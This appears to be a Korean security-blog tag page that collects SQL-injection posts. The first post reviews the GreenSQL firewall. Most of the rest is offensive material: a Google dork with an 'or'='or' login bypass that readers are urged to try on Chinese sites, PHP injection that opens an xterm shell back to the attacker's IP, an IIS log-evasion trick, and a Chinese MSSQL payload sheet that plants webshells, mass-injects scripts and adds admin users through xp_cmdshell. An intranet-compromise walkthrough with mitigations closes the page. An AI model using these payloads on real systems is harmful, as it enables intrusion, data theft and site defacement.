Search Results for '해킹&보안/SQL 인젝션'
31 posts related to '해킹&보안/SQL 인젝션'
- 2012/07/20 Sql injection을 막아주는 Green SQL
- 2010/03/29 중국사이트 보드 공략하기 1
- 2010/03/12 php인젝션 버그를 이용한 한텀 및 Xterm 띄우기 1
- 2009/09/30 IIS 서버의 SQL injection 공격시 로그 안남기기
- 2009/08/27 MASS-SQL인젝션 툴에 등록된 공격문
- 2009/08/27 쿠키 변조를 통한 Mass SQL 인젝션, 툴 사용법과 그 실체 공개! 1
- 2009/08/26 SQL Injection tools 15종
- 2009/08/26 SQL Injection 여러 유형
- 2009/08/26 Malicious Code Injection: It’s Not Just for SQL Anymore
- 2009/08/26 필터를 이용하여 HttpSevletRequest 에 validate를 추가하자!
- 2009/08/26 Char를 이용한 SQL Injection
- 2009/08/26 Web Hacking 5탄 Log Injection
- 2009/08/26 Web Hacking 4탄 쿠키취약점 1
- 2009/08/26 Web Hacking 3탄 구멍난 자바스크립트
- 2009/08/26 Web Hacking 2탄 파일조작 1
- 2009/08/26 Web Hacking 1탄 SQL Injection
- 2009/08/26 SQL Injection 실습장면
- 2009/08/11 웹해킹 - SQL 인젝션 기본
- 2009/08/11 중국해킹 기법-쿠키 SQL Injection 기법
- 2009/08/11 중국해킹 기법-쿠키 SQL Injection 기법
- 2009/08/11 중국해커의 MS SQL 인젝션 해킹기법
- 2009/07/16 Milw0rm 사이트에 올려진 MSSQL Injection 공격 기법에 대한 페이퍼
- 2009/05/27 Mass SQL Injection 일괄 삭제하기 - VBScript
- 2009/05/19 Mass Exploits with SQL Injection
- 2009/05/19 [동영상] SQL Injection Signature Evasion Demonstration
- 2009/05/19 MS-SQL sp_replwritetovarbin() 버퍼오버플로 취약점 공개
- 2009/05/19 어도비 웹사이트, SQL 인젝션 공격 당해
- 2009/05/19 무료 SQL 인젝션 스캐너 15 제품 요약 정리(#3/#3)
- 2009/05/19 무료 SQL 인젝션 스캐너 15 제품 요약 정리(#2/#3)
- 2009/05/19 무료 SQL 인젝션 스캐너 15 제품 요약 정리(#1/#3)
GreenSQL을 설치하고 실행과정은 이렇다. MySQL 서버는 기존 그대로 실행(디폴트 3306 포트)하고, GreenSQL을 3305포트로 실행(127.0.0.1:3305)한다. 이 때 GreenSQL은 MySQL 서버로 커넥션이 이뤄진다. 웹페이지는 DB커넥션을 GreenSQL의 3305포트로 커넥션하도록 변경해주면 된다. (MySQL을 3305로, GreenSQL을 3306으로 실행할 수도 있을 것이다.)
[ 이미지 출처 : GreenSQL 홈페이지 ]
DB 쿼리의 정상, 비정상은 어떻게 판단하는가?
1) '관리자가 실행할 SQL 유형'이나 '민간한 형태의 SQL 유형'(flush privileges, show 명령, 불법적 형태 등)을 패턴 매칭 방식으로 찾아서 불법 요청으로 간주한다. 예를들면 DB관리 명령어, DB 스키마를 변경시도하는 경우, 시스템 파일을 액세스하려는 경우 등을 불법으로 간주한다. 이 패턴에 대해서는 설정 파일을 통해서 변경이 가능하다.
2) 그후 각 쿼리 유형에는 점수가 할당되어 있는데, 이 점수를 합산한다. 지정된 값 이상이 될 경우, 경고 메시지를 뿌려주거나 차단할 수 있다. 유형은 다음과 같다.
* Access to sensitive tables increases risk query (users, accounts, credit information)
* Comments inside SQL commands increases query risk
* Usage of an empty password string
* Found ‘or’ token inside query
* Found SQL expression that always return true (SQL tautology)
* Comparison of constant values (SQL tautology)
* ... 등 ...
점수는 설정 파일을 통해서 변경이 가능하다. 다음은 샘플 설정 파일의 일부이다.
# If query risk is bigger then specified value, query will be blocked
block_level = 30
# Level of risk used to generate warnings. It is recomended to run application
# in low warning level and then to acknowledge all valid queries and
# then to lower the block_level
warn_level=20
# Risk factor associated with SQL comments
risk_sql_comments=30
차단된 샘플 로그이다. (sCag님 제공. 감사합니다.)
2008-12-09 16:54:18 mysql SELECT * FROM user WHERE name = 'x' or 1=1; --' AND pwd=SHA('') blocked
GreenSQL에 대한 결론이다.
멋진 생각이다. ^^
패턴 설정과 차단수준을 유동적으로 변경 가능하다.
대부분의 리눅스 배포판을 지원하며, FreeBSD도 지원한다.
성능 테스트 결과 약간의 성능 저하가 발생한다. (2~12%정도)
대용량 서비스에서 사용하기는 무리가 있을 것 같다.
소규모 사이트나 웹호스팅에서는 고려해볼만 하다.
SQL Relay(DB 풀링과 로드발런싱 등)에서 제공하는 기능 등이 하나로 합쳐진다면 멋질 것 같다.
다운로드 : http://www.greensql.net/download
SQL Injection
근데, 관리자로 로그인하면 머하나??
중국말을 알어야 해킹을 하지.. 띠붕~~
구글에서 검색하기
inurl:Login.asp intext:"Co Net MIB Ver 1.0"
검색되는 사이트에 들어가면,
username과 userpass에
'or'='or'
를 모두 입력하기만 하면, 로그인됨.
되는 곳이 있고, 막힌 곳이 있으니,
알아서들 찾아서, 중국말 아시면 잘 요리해 보세요~~
다음 소스를 인젝션 해준다.
<?
$a=$REMOTE_ADDR;
passthru("/usr/X11R6/bin/xterm -display ${a}:0.0");
?>
공격법은 인젝션 변수에 &a=자신의IP 해주면 된다.
<?
$a=$REMOTE_ADDR;
passthru("/usr/X11R6/bin/hanterm -display ${a}:0.0");
?>
위의 프로그램은 Hanterm을 띄울때 실행해 주면 된다.
한텀이 띄어진후 finger명령을 실행하면 WWW나 nobody권한으로
쉘이 뜨는것을 확인할 수 있다.
이제부터 ROOT를 따기위한 기초작업이 성립된 것이다.
하지만, 어느 때부터인가 Php부터 해서 asp에 이르기 까지 웹 서비스의 취약점에 대해 논의가 이루어지고,
드뎌 지금에서는 SQL과 같은 서비스들이 수난을 당하고 있다.
우리의 멋장이 종량씨가 SQL Injection에 대한 자료를 분석했지만,
아쉽게도 IIS 로그에 그러한 작업을 남기지 않게 하는 방법이 있어 소개한다.
대부분 이 글을 보면 아항~ 하고 알 수 있을 것이다.
telnet을 이용하여 서버를 웹브라우저가 아닌 텍스트로 덤벼보자.
Normal Request
GET /?id=80
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: TestServer
로그파일을 보면.
2005-08-10 16:35:32 172.16.10.3 - 172.16.10.111 80 GET /Default.asp id=80 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)
거의 대충 보면 알수 있다. 걍 홈페이지 연거다.
문제는 /?id=80 여기 부분에 있다. 여기에다가 노가다작업을 함 해보자.
GET /?id=<알파벳 A를 4095번 입력>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: TestServer
Logged Response (IIS 5.0 with default logging)
2005-08-10 17:21:29 172.16.10.3 - 172.16.10.111 80 GET /Default.asp ... 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)
Logged Response (IIS 6.0 with default logging)
2005-08-10 17:09:54 172.16.10.116 GET /Default.asp ... 80 - 172.16.10.3 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 200 0 0
그렇다. 바로 압축 아니 함축의 의미인 ... 으로 변신한다.
4096바이트의 버퍼를 초과하게 되면, 로그 기능도 초과(?)한다.
그러면 어떻게 SQL Injection 공격을 할까 ?
당연히 다음과 같이 한다. 그러면 로그에는 아무것두 없다.
GET /?test=<알파벳 A를 4095번 입력>&id=1'+UNION+ALL+SELECT+Names,Address,OrderId,CreditCard+FROM+Orders+where+'1'='1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
그렇다면, 이를 막는 방법은 뭘까? 우리가 애용하는 URLScan을 통해
버퍼의 크기를 제한하여 막을 수 있다.
MaxQueryString=2048
다 알테구... 흠. 할말 없다.
누가 좋은 사이트좀 갈쳐줘여. 나도 함 공격좀 해보게.
그럼.
참고사이트 : http://www.webappsec.org/projects/articles/082905.shtml
■获取数据库名
and db_name()=0
and db_name(0)=0
and db_name(__i__)=0
and quotename(db_name(__i__))=0
■获取用户名
and user=0
■获取版本信息
and @@version=0
■获取服务器名
and @@servername=0
■获取服务名
and @@servicename=0
■获取系统用户名
and system_user=0
■一次性获取所有基本信息
AnD (dB_NaMe(0)+cHaR(124)+uSeR+cHaR(124)+@@vErSiOn+cHaR(124)+@@sErVeRnAmE+cHaR(124)+@@sErViCeNaMe+cHaR(124)+sYsTeM_UsEr)=0
■一次性探测权限
AnD (cAsT(iS_srvrOlEmEmBeR(0x730079007300610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x64006200630072006500610074006f007200)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x620075006c006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x6400690073006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x730065007200760065007200610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x7000750062006c0069006300) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006f0077006e0065007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006200610063006b00750070006f00700065007200610074006f007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006400610074006100770072006900740065007200) aS vArChAr))=0
■获取数据库的数目
AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm mAsTeR..sYsDaTaBaSeS)=0
■获取数据库文件名
and (select top 1 filename from (select top __i__ filename from master..sysdatabases order by filename) t order by filename desc)=0
■同时获取数据库名和数据库文件名
AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(nAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(filenAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ nAmE,filenAmE FrOm mAsTeR..sYsDaTaBaSeS oRdEr bY nAmE) t oRdEr bY nAmE dEsC)=0
■获取数据库的表的数目
and (select cast(count(1) as varchar)+char(9) from <数据库名>..sysobjects where xtype=0x75)=0
■获取数据库的表
and (select top 1 name from (select top __i__ name from <数据库名>..sysobjects where xtype=0X75 order by name) t order by name desc)=0
and (select top 1 quotename(name) from <数据库名>.dbo.sysobjects where xtype=char(85) AND name not in (select top __i__ name from <数据库名>.dbo.sysobjects where xtype=char(85)))=0
■获取表的字段的数目
and (select cast(count(1) as varchar)+char(9) from <数据库名>..syscolumns where id=object_id('<表名>'))=0
■获取数据库表的字段
and (select top 1 name from (select top __i__ name,id from <数据库名>..syscolumns where id=object_id('<表名>') order by name) t order by name desc)=0
and (select col_name(object_id('<表名>'),__i__))=0
■获取满足条件的表的记录数
AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm <数据库名>..<表名>)=0
■获取数据库的内容
AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(<列名1> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名2> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名3> aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ <列名1>,<列名2>,<列名3> FrOm <数据库名>..<表名> oRdEr bY <排序列名>) t oRdEr bY <排序列名> dEsC)=0
■基于日志差异备份
--1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<临时文件名:e:\wwwroot\m.asp>' With Init--
--2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
--3. 备份并获得文件,删除临时表
;Backup Log <数据库名> To Disk = '<要生成的文件名:e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
■基于数据库差异备份
1. 进行差异备份准备工作
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<临时文件名:0x633A5C617364662E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
3. 备份数据库并作最后的清理工作
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<最终需要备份出的文件名:0x633A5C617364662E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
■数据库插马(插指定数据库的指定表的满足条件的记录)
;update <数据库名>..<表名> set <字段名>=<字段名>+'<script>alert("有漏洞啊。")</script>' where <要满足的条件>--
■数据库批量插马(插所有可插入的字段和记录,危险!!请谨慎操作!!)
;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(<要插入的内容(0x编码形式)> aS vArChAr(200<此处长度应做相应修改>))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,s yscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<要插入的内容>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor--
■执行命令行(无结果返回)
;exec master..xp_cmdshell 'net user name password /add & net localgroup administrators name /add'--
■恢复存储过程 xp_cmdshell
;Exec Master..sp_dropextendedproc 0x780070005F0063006D0064007300680065006C006C00;Exec Master..sp_addextendedproc 0x780070005F0063006D0064007300680065006C006C00,0x78706C6F6737302E646C6C--
■SQLServer 2005 开启和关闭 xp_cmdshell
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',1;RECONFIGURE;
关闭 xp_cmdshell
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',0;RECONFIGURE;
■SQLServer 2005 开启和关闭 OpenDataSource/OpenRowSet
开启:
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
关闭:
;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;
■SQLServer 2005 日志差异备份
alter database [testdb] set recovery full
declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup database __dbname__ to disk=@d with init--
drop table [itpro]--
create table [itpro]([a] image)--
declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init--
insert into [itpro]([a]) values(__varchar(木马内容))--
declare @d nvarchar(4000) set @d=__nvarchar(文件名) backup log __dbname__ to disk=@d with init--
drop table [itpro] declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init--
古木系统安全-管中窥豹 SQL注入工具
QQ: 100194004 100194004
网易POPO: gzkbsql@163.com
최근 국내외 웹사이트들을 또 다시 괴롭히고 있는 Mass SQL 인젝션. 여타 Mass SQL 인젝션과는 달리 쿠키의 취약점을 악용하는 관계로 로그가 자세히 남지 않기 때문에 영문도 모른 채 속수무책으로 당하고 있는 웹사이트들이 많은 것으로 알고 있다.
현재 이 Mass SQL 인젝션 툴은 중국 내에서 상용으로 판매되고 있다고 한다. 아래는 이 Mass SQL 인젝션 툴을 판매하기 위한 목적으로 웹 상에 공개된 데모 시연 영상이다.
http://goomoo.s122.288idc.com/liah/demo/repeaterCookie.htm
화가 나더라도 끝까지 참고, 감상하시면 많은 참고가 되시리라 생각된다. 데모 시연 영상 중에서도 실제 Mass SQL 인젝션 시 웹 서버에서 주입되는 코드들과 그 과정을 유념해서 보시길…
ps2. 경로가 언제 짤릴지 모르는 관계로 SWF 파일만 따로 다운로드 제공합니다.
ps1. 아무튼 얘네들은 인터넷에서 격리시켜야 되는 거 아닌가… 암적인 존재들…
|
The Target Intranet
This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.
We speculate that the underlying SQL code looks something like this:
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.
When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:
when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.
Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:
Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).
But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:
Your login information has been mailed to random.person@example.com.
Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.
We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:
- "Your login information has been mailed to email"
- "We don't recognize your email address"
- Server error
The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.
Schema field mapping
The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.
So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:
The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.
Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.
Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.
Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.
As a result of this process, we found several valid field names:
- passwd
- login_id
- full_name
There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?
Finding the table name
The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.
A standalone query of
Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:
We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.
When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.
Finding some users
At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.
The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.
The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.
We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:
Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.
Ultimately, we may only need one valid email address to leverage our way in.
Brute-force password guessing
One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.
We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.
This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.
The database isn't readonly
So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.
The most drastic example is:
-- Boom!The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.
Adding a new member
Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.
This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:
Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:
- We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
- The web application user might not have INSERT permission on the members table.
- There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
- Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
- A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.
In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.
We ended up going down a different road.
Mail me a password
We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.
From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:
After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.
We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:
From: system@example.com To: steve@unixwiz.net Subject: Intranet login This email is in response to your request for your Intranet log in information. Your User ID is: bob Your password is: hello
Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.
We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.
Other Approaches
In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.
We are also aware that not all approaches work with all databases, and we can touch on some of them here.
- Use xp_cmdshell
- Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.
- What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
- Map out more database structure
- Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.
- Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
- One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.
- Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
Mitigations
We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.
- Sanitize the input
- It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
- The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
- Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:
abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 @.-_+
- There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.
Sidebar on email addresses
It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about.
The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses.
Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.
- Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
- In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
- The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
- Escape/Quotesafe the input
- Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.
- One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
- -- works OK
- However, this naive approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:
- -- Boom!
- The no_no_no_expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.
- Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.
- Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).
- These methods must be used.
- One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
- Use bound parameters (the PREPARE statement)
- Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.
- Later, this prepared query is "executed" with a list of parameters:
Example in perl$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;"); $sth->execute($email);
- Thanks to Stefan Wagner, this demonstrates bound parameters in Java:
Insecure versionStatement s = connection.createStatement(); ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = " + formField); // *boom*
Secure versionPreparedStatement ps = connection.prepareStatement( "SELECT email FROM member WHERE name = ?"); ps.setString(1, formField); ResultSet rs = ps.executeQuery();
